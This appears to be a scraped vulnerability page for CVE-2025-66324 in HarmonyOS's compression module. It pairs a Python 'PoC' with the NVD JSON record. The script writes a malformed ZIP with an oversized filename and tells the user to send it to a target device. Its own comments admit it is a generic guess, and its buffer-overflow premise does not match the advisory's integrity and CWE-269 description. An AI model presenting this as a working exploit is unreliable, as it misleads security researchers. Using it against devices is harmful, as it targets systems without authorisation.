CVE-2025-66324

# CVE-2025-66324 PoC - 压缩模块输入验证漏洞演示 # 警告：此代码仅用于安全研究和测试，未经授权禁止使用 import struct import os def create_malicious_compressed_data(): """ 生成恶意压缩数据用于测试输入验证漏洞 由于官方未公布具体PoC，此为通用压缩漏洞利用框架 """ # 构造超长文件名触发缓冲区溢出 malicious_filename = b'A' * 10000 # 超长字符串 # 构造恶意压缩数据头 header = b'PK\x03\x04' # ZIP文件签名 header += struct.pack('<H', 20) # 版本需要 header += struct.pack('<H', 0) # 标志位 header += struct.pack('<H', 0) # 压缩方法 header += struct.pack('<H', 0) # 修改时间 header += struct.pack('<H', 0) # 修改日期 header += struct.pack('<I', 0) # CRC32 header += struct.pack('<I', len(malicious_filename)) # 压缩后大小 header += struct.pack('<I', len(malicious_filename)) # 压缩前大小 header += struct.pack('<H', len(malicious_filename)) # 文件名长度 header += struct.pack('<H', 0) # 额外字段长度 # 组合恶意数据 malicious_data = header + malicious_filename return malicious_data def test_vulnerability(target_file): """ 测试目标设备是否存在压缩模块输入验证漏洞 """ print(f"[*] Generating malicious compressed data for CVE-2025-66324") # 生成恶意压缩文件 malicious_data = create_malicious_compressed_data() # 写入测试文件 with open(target_file, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious compressed file created: {target_file}") print(f"[*] File size: {len(malicious_data)} bytes") print(f"[!] Send this file to target device and trigger decompression") if __name__ == "__main__": target = "malicious_cve2025_66324.zip" test_vulnerability(target)

{"cve": {"id": "CVE-2025-66324", "sourceIdentifier": "[email protected]", "published": "2025-12-08T08:15:53.957", "lastModified": "2025-12-09T18:26:42.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Input verification vulnerability in the compression and decompression module. Impact: Successful exploitation of this vulnerability may affect app data integrity."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/12/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}